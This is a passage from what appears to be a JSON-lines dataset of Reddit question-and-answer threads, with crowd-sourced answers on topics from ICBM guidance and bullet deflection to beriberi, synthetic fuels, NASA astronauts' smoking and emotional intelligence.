cooks were highly respected. Over time, however, with more spices becoming accessible, the influence has spread.\n\nHere is a Wikipedia page, which gives some very basic information:\n_URL_0_\n\nHere is an egullet forum thread on the topic, which has some interesting contributions:\n_URL_1_", "A good question and the answers have been great, thank you everyone. There's a great book called \"Cooking Like Mummyji\" by Vicky Bhogal which, apart from some fantastic recipes, talks about the problems Indian immigrants of the author's parent's generation (1950's) faced trying to replicate the dishes from \"home\" and the rise of the type of dishes served in the more traditional \"curry houses\". It's a lovely book, especially if you cook and I can't recommend it highly enough."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Chicken_tikka_masala#Origins"], [], ["https://www.ishopindian.com/shan-brand-title-up-c-87.html"], ["http://en.wikipedia.org/wiki/Mughlai_cuisine", "http://forums.egullet.org/topic/62708-origins-of-mughlai-cuisine/"], []]}
{"q_id": "7nphuo", "title": "During the Cold War, how were ICBMs guided? Without GPS how do you accurately hit a city in the middle of Siberia from across the world?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7nphuo/during_the_cold_war_how_were_icbms_guided_without/", "answers": {"a_id": ["ds3ka7t", "ds3pz80", "ds3qg60"], "score": [39, 79, 22], "text": ["First projects involved a crewed calsule with a kamikaze pilot. No kidding.\n\nLater they just used maps and geometry to precisely aim the rocket. They still do it today. ICBMs are not guided mid-flight. They cannot change their course. It's a design feature to prevent any sort of hacking.", "They used [inertial navigation systems](_URL_2_), much like [jetliners still do](_URL_6_) to supplement GPS. With some gyroscopes to know the missile's orientation and some accelerometers to know its acceleration (or even just with a pre-programmed knowledge of the engine's thrust profile) you can get a pretty  good idea of its current velocity and make corrections to stay on course. This works pretty well. The [German V2 rockets](_URL_9_) used this in WWII, and there were even torpedos with steampunky brass gyroscopes and gears and clock-springs to hold course underwater. By the 1970s, though, physical spinning metal gyroscopes were being replaced by [laser ring gyroscopes](_URL_4_) ([e.g.](_URL_8_), [e.g.](_URL_7_)) which are more accurate. The micromechanical gyros in your phone work on a [vibration principle](_URL_3_). \n\n[Some missiles used ground guidance](_URL_0_) during the boost phase \u2014 that is, radars near the launch site would follow the missile's course and send info to it by radio \u2014 but I don't know if that technique was used much for ICBMs. If you're launching ICBMs, it means things have really gone to hell, and you might not want to rely on any particular other part of your country to still be in existence if you don't have to. But ABMs like the Sprint were effectively ground-guided.\n\nA ballistic missile is a bit like a bullet, in that [(almost) all of the acceleration is at launch time](_URL_5_). For most of the travel time, it's just coasting/falling \u2014 that's what \"ballistic\" means in \"ballistic missile\". There might be a midcourse correction (maybe based on star sights, aka \"astro-inertial\" navigation) and some terminal-phase corrections during re\u00ebntry, but for the most part, the guidance happens during boost and immediately afterwards.\n\nAs a side note, one of the reasons that large nuclear weapons went out of favor after the '50s was improved missile guidance. A 50-MT bomb is useful if you can only get it approximately on target, but if you have a missile that can drop things within a mile or so of where you want, it makes much more sense to load it up with [several independently-targeted 100-kT bombs](_URL_1_) instead of a single monster. Today, most of the US's warheads are below a megaton.\n", "Even today, it isn't thought that ICBMs rely on GPS since it is assumed those satellites would be the first things targeted/jammed. Instead, they use stellar guidance to fine tune the initial intertial guidance. _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://fas.org/man/dod-101/navy/docs/fun/part15.htm", "https://nsarchive2.gwu.edu//nsa/NC/mirv/mirv.html", "https://en.wikipedia.org/wiki/Inertial_navigation_system", "https://en.wikipedia.org/wiki/Vibrating_structure_gyroscope", "https://en.wikipedia.org/wiki/Ring_laser_gyroscope", "https://en.wikipedia.org/wiki/Ballistic_missile_flight_phases", "http://www.northropgrumman.com/Capabilities/LN120GStellarInertialNavigationSystem/Documents/ln120g.pdf", "https://www.airspacemag.com/flight-today/how-things-work-ring-laser-gyros-32371541/?all", "http://www.k-makris.gr/AircraftComponents/Laser_Gyro/laser_gyro.htm", "https://en.wikipedia.org/wiki/V-2_rocket#Technical_details"], ["https://en.wikipedia.org/wiki/Missile_guidance#Astro-inertial_guidance"]]}
{"q_id": "12qv9y", "title": "Conservation of Kinetic Energy in an Inelastic Collision", "selftext": "Experimentally, if a collision is inelastic, yet energy is still conserved, where might the kinetic energy go? Just got curious while studying physics.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12qv9y/conservation_of_kinetic_energy_in_an_inelastic/", "answers": {"a_id": ["c6xdy8h", "c6xdzzq"], "score": [9, 19], "text": ["It might be transformed to heat, it might deform something involved in the collision... Sky's the limit, and it depends on the circumstances of the collision.", "Usually inelastic collisions involve rearrangements of the pieces that make up each object. For example, in a crash between two vehicles that stick together, the vehicles will get crushed to some extent, and this will take energy to do. \n\nThere are other effects to consider such as if the collision made any noise (energy carried in the sound) or if the collision generated any heat. I believe these are usually small contributors to the total kinetic energy loss, although I'm not completely sure.\n\nIn particle physics we refer to inelastic collisions as collisions where the things that come out are not the same as the things that went in. So at the LHC, if two protons collide and just deflect each other, that would be called an elastic collision. However, if they collide in such a way that the various types of quarks and gluons inside the proton get rearranged and/or new particles are created from the incoming energy, that would be referred to as an inelastic collision."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3x18sv", "title": "do movie theaters still play the movie if nobody is in the theater?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3x18sv/eli5_do_movie_theaters_still_play_the_movie_if/", "answers": {"a_id": ["cy0nnu2", "cy0om12"], "score": [5, 2], "text": ["When I worked at a movie theater, we would keep track of which theatres were empty. A half hour after the movie began we would stop selling tickets for it, then we would send someone to go and check the theater for customers. When we confirmed that it was empty we would tell the manager and they would shut it down.", "I once saw a movie where a friend and I were the only ones in the theater. \n\nWe won the tickets in a contest."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1qpnvf", "title": "Why does thiamine deficiency cause beriberi?", "selftext": "What is the main biochemical mechanism behind it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1qpnvf/why_does_thiamine_deficiency_cause_beriberi/", "answers": {"a_id": ["cdf7zuk"], "score": [9], "text": ["The [citric acid cycle](_URL_0_) requires thiamine to generate ATP. Lack of thiamine causes a deficiency of the enzyme pyruvate dehydrogenase, since this enzyme uses thiamine as a cofactor; this leads to high levels of pyruvate, since, without pyruvate dehydrogenase, glucose cannot be broken down by the citric acid cycle. Lacking the ability to use glucose as a fuel results in neurological symptoms because the nervous system cannot use fuels other than glucose."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/books/NBK22340/"]]}
{"q_id": "edcso3", "title": "Why was linear perspective \"discovered\" so late?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/edcso3/why_was_linear_perspective_discovered_so_late/", "answers": {"a_id": ["fbihisk"], "score": [3], "text": ["It wasn't - both ancient Egyptian and Mesopotamian art in the east and Chinese in the East show numerous examples of it. But style and fashion dictated it not being used. \n\nIts 'apparent' discovery in the Italian Renaissance due to its discovery in Roman art - which then became very much the fashion and a how to do it codification published at that time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "c8ewyy", "title": "how does a bullet, going two to three times the speed of sound, \"bounce\" off various bones and other bodily structures? or is this just more \"hollywood\" forensics?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c8ewyy/eli5_how_does_a_bullet_going_two_to_three_times/", "answers": {"a_id": ["esmacmz", "esmah51", "esmahgf", "esmamv6", "esmanps", "esmeaoc"], "score": [23, 5, 4, 3, 2, 18], "text": ["Bullets are very light. They don't have the mass to penetrate some objects at certain angles. Heavy bullets will rebound less.", "Because (most) bullets are very light. It\u2019s going really really fast, and they usually do not \u2018bounce\u2019 off of bones, but they do slow down very quickly when they hit things. That means that after penetration, they can be deflected by hard things like bones if they were hitting at a very shallow angle in the first place.\n\nOf course usually it just breaks the bone, but it can be re-directed.\n\nAnd some bones are really thick. You\u2019ll struggle to penetrate the bony plates of a crocodile, then the ribs with a pistol calibre.", "Maybe someone can throw down the equations but if I recall \"bounce\" is misleading. The bullet may be moving fast but it's still going to exchange energy with any object it hits and while it may not stop it, it could alter its direction when it strikes your bones. Think of a car crash. If it hits a wall it may damage the wall, but it could also ricochet into another car, spin out, move all sorts of directions. Does this help at all? Am I way off base physicist friends?", "You have to keep in mind that bullets are curved for aerodynamic purpouses. This curve will always induce some degree of deflection if the bullet does not hit exactly head on.", "Bullets won't bounce off soft tissue but definitely can deflect on bone.   A bullet is fast but it's very light.   Bone is hard.   Small light projectile hits hard object, it'll deflect, maybe while also shattering the hard object", "Go to YouTube and check out \u201cPlanet Slow Mo\u201d S1 E6. (_URL_0_).   In this video a 152mm D20 artillery shell deflects when it hits watermelons.  To be sure, the watermelons are absolutely vaporized, but you can clearly see the munition tumbling off on a new and errant trajectory.\n\nNewton\u2019s first law still applies, and anything that touches the object in motion will alter its trajectory, however minimally.  Small bulllets will absolutely deflect off bone and can \u201cbounce\u201d around the body as they slow down.  And it\u2019s not just bone.  For example, if a marksman were to shoot through a glass window, the glass would alter the path of the bullet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://youtu.be/xpJ8EoGmLuE"]]}
{"q_id": "104x7h", "title": "Diamonds require millennia of heat and pressure to form, yet we cab create them artificially.  Could we take organic waste an create artificial fossile fuels?", "selftext": "I'm not referring to ethanol, just any kind of mass waste from agriculture, or something that goes to the dumps anyway.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/104x7h/diamonds_require_millennia_of_heat_and_pressure/", "answers": {"a_id": ["c6afcbb", "c6afdny", "c6ah46a", "c6ahb74", "c6ahbw5", "c6ahisj", "c6ahn22", "c6ahnyr", "c6ai1cy", "c6aibc6", "c6aie2o", "c6aif9g", "c6al4hd", "c6aoa7u", "c6apbko", "c6as086", "c6as89y"], "score": [213, 25, 9, 3, 2, 6, 4, 3, 2, 3, 2, 2, 2, 2, 2, 2, 2], "text": ["Sure, we can create hydrocarbon fuels from waste.\n\nThe problem is that it uses more energy than we get out of the fuel at the end.", "[Thermal depolymerization](_URL_0_).\n\nAlso, [this](_URL_1_).", "Yes, we can process organic matter (in the form of carbohydrates like cellulose) into synthetic fuel oils (which are hydrocarbons). \n\nThis is a net energy-loss process though. It takes more energy input to perform this refinement then the energy output of the refined fuels will provide. If we use an approach like to create synthetic fuel oil then we have to immediately take note of where the input energy came from. Often, it came from fossil fuel burning in the first place (since most of our power comes from burning coal or natural gas). \n\nIn order to create a sustainable source of fuel oil using synthesis from bulk organic matter we need an original energy source that is sustainable in its own right. The original energy source would have to be something like Solar, Wind, or Nuclear power. ", "Would it be realistic to use renewable sources (wind, solar, etc) to convert organic material to fuel?  I know this still results in a net loss, but it gives us a way to reuse our garbage and fill our gas tanks.", "We do.  There's a [place that does this.](_URL_0_)", "Yes, that is actually what my company is designing systems to do. It is important to note that this requires a net input of energy, either by consuming some of the biomass during production or supplying energy from another source. This is one way we can use non-petroleum materials to replace petroleum as a feedstock for gas and diesel, etc., which will be important in the future as liquid hydrocarbon fuels are very energy-dense and easy to handle. We can stop using fossil fuels without giving up the practical utility of liquid hydrocarbons. ", "Hi, Natural Gas Measurement Technician here. I would like to add that old landfills that have been covered up are being drilled into, to produce natural methane gas.", "of course, we can easily make imitation fossil fuels, but it's a matter of entropy. The advantage of fossil fuels from the ground is that we didn't have to put the energy into making them. The sun, plants, animals, the earth, etc. left pockets of carbon rich/oxygen poor fuel in the earth. Once in our atmosphere (which has a luxurious and energetic excess of oxygen, and is far out of equilibrium) these carbon rich materials are eager to react with oxygen. We could take the oxygen out of plant matter or any other biomass, but it would take much more energy than would be released by burning. The ecosystem is surfing on the slow cooldown of the earth and the sun, fossil fuels are just a lucky special case along the way.", "It is actually thought that diamonds in nature form in a very rapid process, on the order of 10 seconds; but under conditions that only occur pretty rarely in explosive magma flows from deep reservoirs  _URL_0_", "I work at an energy research center--we have many projects going on that deal with this topic. For example, right now I am working on making liquid fuels from waste coal. I can tell you that this research is extremely preliminary and most definitely is no where close to being worth it from an energy recovery standpoint.\n\nOthers are working on salvaging the \"good\" parts of waste biomass to produce alternative fuels. I can't really talk about specifics--it's all proprietary. However, I can say that they have made significant and meaningful discoveries over the past few years. I'm not sure the processes will ever be developed into large-scale industrial processes, though.", "The way that we \"pull\" artificially created crystals like Diamond in a crystal growth lab is different than the way they are created under extreme pressures and temperatures. Nonetheless, the lattice structure is formed either way.", "It's absolutely possible to convert almost any carbonaceous feed into fuel. It's just a matter of efficiency and economics. As a chemical engineering phd student, I made liquid fuel today. \n\nLook up fischer-tropsch synthesis. It converts syngas (H2+CO) to longer hydrocarbons. Syngas can be produced from a variety of feeds. Coal is typical now, but natural gas and biomass are feasible. \n\nBecause our lab is awesome, we actually use supercritical hexanes as reaction media. This helps manage heat and mass transfer, which in turn helps reduce CO2 and methane production. (essentially waste side products)\n\nAnother cool technology is using the black liquor from a kraft paper mill as a feed. A company called chemrec in Sweden is doing just that and it looks promising. (_URL_0_)\n\nSorry for brevity/formatting, phone post.", "Most people have answered this in the context of liquid fuels for transport, but there are industries in which [waste-to-energy](_URL_0_) has become an economic possibility and in some cases a necessity, replacing previous use of fossil fuels.\n\nFor various types of waste stream, where the content is predictable enough, [gasification](_URL_2_) is possible, though the products are generally combusted on site for process heat.\n\nWood waste is frequently combusted directly in places where it is produced in sufficient volume to provide a constant and substantial supply.\n\n[Anaerobic digestion](_URL_1_) of slurries (human and animal waste) is a source of methane for heat and power.\n\nMany organic waste streams are reused in ways that include energy production, but household waste is uniquely unsuited to reuse by its mixed nature. The cost of industrially separating it into useful parts is high, so some localities ask their residents to keep waste separate at the point of production, some even going so far as to penalise those who don't comply.", "[Germany did in WWII](_URL_0_)", "We'd be burning fossil fuels to create fossil fuels at a slower pace. ", "Well, progress is being made at [creating biodiesel from algae.](_URL_0_)", "On a related note, there's a thing known as \"landfill mining\" it's exactly what it sounds like. Mining landfills for glass and plastic that werent recycled and reclaiming them for use. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://itotd.com/articles/205/oil-from-garbage/", "http://www.forbes.com/sites/michaelkanellos/2012/03/15/a-new-player-in-oil-the-garbage-dump/"], [], [], ["http://news.nationalgeographic.com/news/2003/11/1125_031125_turkeyoil.html"], [], [], [], ["http://brown.edu/Administration/News_Bureau/2006-07/06-148.html"], [], [], ["www.chemrec.se"], ["http://en.wikipedia.org/wiki/Waste-to-energy", "http://en.wikipedia.org/wiki/Anaerobic_digestion", "http://en.wikipedia.org/wiki/Gasification"], ["http://en.wikipedia.org/wiki/Synthetic_fuel"], [], ["http://www.oilgae.com/"], []]}
{"q_id": "cy2wse", "title": "if someone starts healthy lifestyle (eating better and exercising) in mid 30s after having sedentary and unhealthy lifestyle till that point, what positive changes occurs in the human body?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cy2wse/eli5_if_someone_starts_healthy_lifestyle_eating/", "answers": {"a_id": ["eypd6bl", "eype15v", "eypgxhn", "eyphhxy", "eypjmxk", "eyplsls", "eypv1ai", "eypzlwn", "eyq2z40", "eyq3all"], "score": [176, 77, 18, 34, 40, 15, 11, 3, 3, 2], "text": ["Your heart is a muscle. Once you starting working out, or performing any physical activity really, itll go stronger. With a stronger heart you'll see positive changes in your breathing, doing daily tasks (such as chores) will become easier, your digestion, your outlook on life. Healthy heart equals healthy life. But remember it means very little if your diet isnt on par with exercising. \n\nThis doesnt even touch the psychological benefits from physical exercise. I cant touch on this because it mess it way up. Someone more equipped could probably touch on this better.", "More muscle mass means stronger bones and the effects of losing muscle mass that comes with old age is lower.", "It would almost be easier to list the negative things that no longer occur because thats a much shorter list.\n\nHowever 'eating better' is quite ambiguous a phrase that needs proper definition. For most of the problems in the western world, that would simply be 'eating less'.", "It really depends on what lifestyle changes youre referring to. \nSmoking? Quitting smoking at any age drastically improves lung function within days-months. The risk of cancer from the time smoking remains, however.\nHeavy drinking? The liver can recuperate. The risk of oral/throat cancer remains.\nExercise? Your heart will thank you. However, for some people with severe heart issues, exercise can actually kill them. Someone in their 30s typically would be fine starting an exercise regimen. To my knowledge, exercise will not reverse the damage done to the heart\u2019s blood supply (coronary arteries), although it will prevent plaque buildup and improve the heart\u2019s supply of oxygen overall.\nEating better? Losing weight will prevent so many diseases including diabetes, high blood pressure, etc. \nMental health? Always a good thing to address to prevent further damage, but years of a stressful life will have certainly taken its toll on the body. \nIn summary, it is never too late to make changes. Some things cannot be undone, so the earlier you make changes the better!", "You\u2019ll notice things after a few week. But 60 days. I know it\u2019s a long time... but after 60 days the changes are apparent. \n\nThen once youre in a stride and feeling good about your progress, it goes faster. I want to say exponentially faster but im sure it hust feels that way. \n\nWhatever you do, dont stop.", "I started when I was 29. Pudgy but not fat, got super lean. I am not the best example because I do triathlons so I train for hours and hours and hours. For me, that is what it takes to stay motivated. You will get lean, your resting heartbeat will drop to low 50s or less, one breath will go a long way, your EKGs will be doctor porn. Women married to men your age will look at you, then their husbands, then back at you. All in all, it is worth the effort. Ageing is a bitch so working out now will help you later.", " This video does a good job providing background.\n\n_URL_0_\n\nBut we\u2019re learning more and more that cultivating a healthy gut biome might be the single best thing you can do for your body, and you can change your gut flora under normal conditions with as little as a few months of eating healthy. \n\nBacteria in your gut have been linked to intelligence, immune function, obesity, anxiety, depression, insulin resistance, and the onset of conditions including things like, potentially, Parkinson\u2019s. \n\nThere are immense benefits to fixing your microbiome even if you have zero intention of exercising.", "Movement is NECESSARY for happiness. Your body LOVES movement! It FEELS fantastic whilst moving, it\u2019s important you FEEL the positive vibrations you get when moving because it will cause you to continue to move and seek out movement for the good feeling of it. If you work out and say aw this sucks this is horrible then your body listens to your thoughts and you cease movement because you believe it\u2019s bad and horrible. Same goes with healthy food! \nHealthy food (ideally Whole Foods based diet) directly has a chemical impact on your brain chemicals, meaning if you eat a junk filled diet you\u2019ll have a low morale, depressed, anxious state of mind. Plant food has direct links to chemicals in your brain that promote happiness and well being. \n\nThose are the effects, now do you want to feel good and amazing? That\u2019s the choice people must make", "Every organ system benefits! A lot of it is because of better blood flow and a decrease in visceral fat. Visceral fat is the kind of fat that sticks to organs and puts pressure on them or otherwise interferes with their functioning. I listed the organ systems and some benefits, but there's honestly too many benefits to list!\n\nCirculatory-increased blood flow to the entire body, decreased blood pressure and heart rate. Basically the heart becomes more efficient.\n\nRespiratory-lung capacity improves and allows for more oxygen to hit the blood.\n\nDigestive-the liver and pancreas fair much better! The liver has 200+ functions and is prone to fatty liver disease that can cause all kinds of problems. The pancreas is responsible for insulin production and other gastric juices and can handle a healthy diet much better.\n\nExcretory-food moves better through the tract. Not moving means constipation. Bad diet means pooping and tummy problems in general.\n\nNervous-brain function improves. Sleep quality increases, fatigue decreases, concentration improves etc. Partially because better blood flow, but also good fats like the omega 3s and 6s and the endorphin releases. The psychological benefits of exercise are HUGE especially on things like depression.\n\nEndocrine-excess fat releases it's own hormones. Having excess fat means excess of these hormones. You might be fatigued and have disturbances in a lot of different cycles (sleep, hunger, etc).\n\nImmune-can better fight off infections and you get sick less.\n\nIntegumentary-clearer skin and healthier hair. Especially with B vitamins and the like.\n\nSkeletal-keep that bone density where it should be. Decreased pressure and greater stability from an increased muscle mass protect the joints, especially the knees.\n\nMuscle-building muscles evenly can help posture. Muscles in certain areas atrophy as people get older without it. Ie core muscles will atrophy due to slouching. Stretching will help prevent stiffness and range of motion issues\n\nReproductive-increased fertility in both men and women. Men will have higher sperm count and women will be able to get pregnant easier and have fewer complications. On the flip side, if you don't want kids, hormonal birth control is more effective.\n\nEdit: I focused on diet and excercise only because that was the example given. Sleep, reducing stress, and stopping smoking/excessive drinking can also improve the function of every single system and are about as important and common things that people have room to improve on. And I forgot to mention cancer risk decreases significantly because that can't be put into just one system and I'm super tired.", "Whats done is done but you can at least reduce the damage from your unhealthy lifestyle.\n\nIf we use Pokemon as example, you lived 30 years with poison status and finally used an antidote."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://m.youtube.com/watch?v=VzPD009qTN4"], [], [], []]}
{"q_id": "2kqebh", "title": "what's the controversy about cheerleading being a sport?", "selftext": "I remember hearing somewhere that there was a controversy about whether cheerleading is a sport or not, and that it somehow intersected with certain laws and legal protections. Can anyone explain what the deal with cheerleading's status as a sport is?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2kqebh/eli5_whats_the_controversy_about_cheerleading/", "answers": {"a_id": ["clnqmzz"], "score": [12], "text": ["If cheerleading is officially classified as a sport, it would require increased safety measures (it's a relatively dangerous activity with many injuries).\n\nIt turns out that most of the competitions and various apparel are managed by a company, Varsity Brands Inc. and they would rather keep it as a non-sport activity and maintain their virtual monopoly.  It's a BIG business for them.\n\nThere's an interesting episode of Penn and Teller's Bullshit about this topic.  You can find it online somewhere, I'm sure."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5lvtzp", "title": "why are conifers usually triangular while deciduous trees are usually 'circular' in profile?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5lvtzp/eli5_why_are_conifers_usually_triangular_while/", "answers": {"a_id": ["dbyusps", "dbyxqll", "dbzet23"], "score": [10, 2, 2], "text": ["Conifers tend to be triangular because they don't drop their needles and often live in snowy places. The triangle shape holds up best to the added weight. Plus it's efficient in terms of how much energy has be spent on growing a trunk, and again, they live in colder places with less competition.\n\nDeciduous trees are rounder because they want to grow up and out to shade out their competition, and they drop leaves so added winter weight is not a problem.", "If you drop your leaves, then you don't have to worry as much about maintaining structural integrity under a heavy snow load, and can focus more on maximizing solar intake during the time when you have leaves.  Conifers OTOH take a more structurally sound pyramid shape to deal with northern climates while still maintaining year around energy intake.  They also grow more slowly than say Maple trees as a result. ", "Part has to do with height, the higher you go the slimmer the trunk gets and therefore the branches must be smaller, conifers being often taller than deciduous, not as a rule of course. They grow where there's less sunlight so it makes sense to grow tall so you can get as much as possible."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "jggbp", "title": "stock market: what is the significance of earnings reports on stock trading?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/jggbp/eli5_stock_market_what_is_the_significance_of/", "answers": {"a_id": ["c2bw278", "c2bw278"], "score": [2, 2], "text": ["You run a lemonade stand. For now, since you're five, let's assume that you don't pay taxes or have any debt. It costs you $5 to buy all the supplies you need for your stand. You sell ten cups of lemonade at $1 each, for $10. What you take in is called \"revenue\" and what you use to make revenue is called \"cost.\" Your revenue minus your cost is your profit. Another word for profit is earnings. \n\nNow, the number that ultimately matters to most investors is earnings. How much does your lemonade stand actually make? Let's assume that your lemonade stand goes public. How are they to decide what a good price is for your stock? It would probably be how much money they get at the end of the day, the amount left over for stockholders. Well, in our simple example, the net earnings is exactly what is left over. But what about what you earn next year? Shouldn't that be included in the price, too? After all, if I know you're going to make $5 this year, and another $5 next year, I wouldn't sell off my stock unless I was given at least what I would earn just by holding onto the stock. \n\nSo, let's say that I predict that the company will earn $5 for the next five years. That means the stock should be worth about $25, if we disregard a few things. But, suddenly, let's say that in the second year, there's a new lemon-squeezing technology that allows you to get more juice from a single lemon. Your costs drop to $4 instead of $5. Now, there's $6 of profit from year two onwards. That means we can expect 5 + (6 * 4), or $29 over the next five years. This means I would ask you for $29 to part with my stock instead of $5, a $4 increase in the stock price. Of course, we could see it going in the opposite direction, too. Let's say the price of lemons go up because of a drought. Then, your costs would increase, and the expected earnings would go down. In both of these examples, we are pretending that revenue stays the same.\n\nIt's similar to this for the actual stock market. Analysts, or people who are paid to make predictions about stocks, will put out estimates of what they think the company can earn and a fair price for it. The real number most people look at is Earnings Per Share, meaning the total profit divided by how many total shares there are. So, if there was $200 of profit and 100 shares, EPS would be $2. If the company's earnings report is in line with what people predict, then the stock price doesn't really change, since it's already part of the market prediction. But, if the earnings report is above or below the \"consensus\", that is the average prediction of all the analysts watching (called \"covering\")  a stock, then the stock has to now reflect this new information. So, if Apple sells more iPhones than analysts predicted, and analysts think the trend will continue, then Apple's shares go up, because people want more money to part with their Apple stock. ", "You run a lemonade stand. For now, since you're five, let's assume that you don't pay taxes or have any debt. It costs you $5 to buy all the supplies you need for your stand. You sell ten cups of lemonade at $1 each, for $10. What you take in is called \"revenue\" and what you use to make revenue is called \"cost.\" Your revenue minus your cost is your profit. Another word for profit is earnings. \n\nNow, the number that ultimately matters to most investors is earnings. How much does your lemonade stand actually make? Let's assume that your lemonade stand goes public. How are they to decide what a good price is for your stock? It would probably be how much money they get at the end of the day, the amount left over for stockholders. Well, in our simple example, the net earnings is exactly what is left over. But what about what you earn next year? Shouldn't that be included in the price, too? After all, if I know you're going to make $5 this year, and another $5 next year, I wouldn't sell off my stock unless I was given at least what I would earn just by holding onto the stock. \n\nSo, let's say that I predict that the company will earn $5 for the next five years. That means the stock should be worth about $25, if we disregard a few things. But, suddenly, let's say that in the second year, there's a new lemon-squeezing technology that allows you to get more juice from a single lemon. Your costs drop to $4 instead of $5. Now, there's $6 of profit from year two onwards. That means we can expect 5 + (6 * 4), or $29 over the next five years. This means I would ask you for $29 to part with my stock instead of $5, a $4 increase in the stock price. Of course, we could see it going in the opposite direction, too. Let's say the price of lemons go up because of a drought. Then, your costs would increase, and the expected earnings would go down. In both of these examples, we are pretending that revenue stays the same.\n\nIt's similar to this for the actual stock market. Analysts, or people who are paid to make predictions about stocks, will put out estimates of what they think the company can earn and a fair price for it. The real number most people look at is Earnings Per Share, meaning the total profit divided by how many total shares there are. So, if there was $200 of profit and 100 shares, EPS would be $2. If the company's earnings report is in line with what people predict, then the stock price doesn't really change, since it's already part of the market prediction. But, if the earnings report is above or below the \"consensus\", that is the average prediction of all the analysts watching (called \"covering\")  a stock, then the stock has to now reflect this new information. So, if Apple sells more iPhones than analysts predicted, and analysts think the trend will continue, then Apple's shares go up, because people want more money to part with their Apple stock. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "dorinc", "title": "Smoking was prevalent in the 20th century. When NASA was first choosing astronauts for the space program, was this a consideration? Were any of the astronauts smokers? Did NASA reject smokers, or deliberately hire non-smokers as astronauts?", "selftext": "Also, what about the USSR? What was their policy? In the early days of either space program, did anybody try to smoke in space?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dorinc/smoking_was_prevalent_in_the_20th_century_when/", "answers": {"a_id": ["f5q6u1u"], "score": [2077], "text": ["Oh yeah, everyone smoked.\n\nMy favorite story isn't actually NASA; it's one of the X-15 pilots. For those of you unfamiliar--the X-15 is an airplane that is capable of breaking the space barrier (50 miles up). Milt Thompson talks about how he used to smoke *in the simulator*--and pilots did not get much time in there per flight.\n\nBut obviously this question *is* about NASA, so onward.\n\nPretty much from the beginning, NASA did not want astronauts smoking. Smoking was part of the wild/rebellious idea of masculinity (as James Dean has come to star in the modern American imagination), which was the diametric opposite of the goal. As Roger Launius describes the first press conference announcing the Mercury 7, in 1959:\n\n >  The event made the astronauts public figures. Beforehand, they were a crew-cut, military-minded, mad-monk, thrill-seeking, hard-drinking, woman-chasing, flying-fool gang of daredevils. Now, suddenly, they became heroes of a nation.\n\nAnd the press conference solidified the idea that the astronauts' *character*, and let's face it manliness, was what was really on display. The questions focused on their families, emotions, getting around to the very Cold War-timely themes of patriotism (\"God, country, family\").\n\nOh, yeah--and directly on smoking. Three of the astronauts smoked *during* the press conference, which drew a question from a reporter--will they smoke during their flights?\n\n[Says a NASA doctor:](_URL_0_)\n\n >  I think they're pretty mature men, and we'll leave it up to them in large part. **Of course, we have a few months for an indoctrination program.**\n\nIt's a joke and it gets the laugh Lovelace wanted. But it's definitely comic *relief*. Basically as soon as the reporter mentioned it, NASA officials twigged that it was a problem. Not because of the safety factor--because of the public image.\n\nSo no, smoking was not a consideration in astronaut selection. But lack of *public* smoking, as part of the \"all-American\" masculine model, became more or less mandatory."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://youtu.be/FXj5lc_QUOM?t=464"]]}
{"q_id": "5cwm6k", "title": "what actually is meant by 'emotional intelligence'?", "selftext": "It sounds very wishy-washy, how can someone who behaves more empathetically towards others be more emotionally 'intelligent'?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5cwm6k/eli5_what_actually_is_meant_by_emotional/", "answers": {"a_id": ["d9zx1ga", "d9zxhdd", "da000u2", "da00h71", "da09zof", "da0bind", "da0cdb2", "da0dns2", "da0dwjg", "da13ua2"], "score": [350, 18, 18, 14, 269, 2, 5, 2, 3, 2], "text": ["Without looking it up for a rough idea to put my own spin on and just having a go at it with all my world weary 30-year old ability, emotional intelligence is a combination of 1) being generally socially aware, 2) being able to read and understand others' emotions and applying that knowledge to how you approach and interact with them, and 3) being able to apply logic to one's own emotional responses. \n\nFor example, I recently got dumped by a girl that I wasn't terribly into. I knew in the days following, I would start to think of what good times we had and possibly (likely) slip into a minor bout of depression. As such, I purposely countered any bittersweet sentiment that crawled into my head with something about her that just didn't click, or something I outright disliked to shoot it down. This prevented me from getting reattached to her until, eventually, those thoughts stopped coming up all together.\n\nUnderstanding you're going to feel certain emotional responses because you're human, but being able to process and navigate those while keeping yourself on track and in control is, I think, emotional intelligence.", "Emotional intelligence, in my experience, is more about being able to analyze and control emotions, as /u/velmarg has said. In terms of your question about empathy, people may be qualified as \"emotionally intelligent\" since empathy often includes setting aside your personal experience to understand others' personal experience. \n\nIf 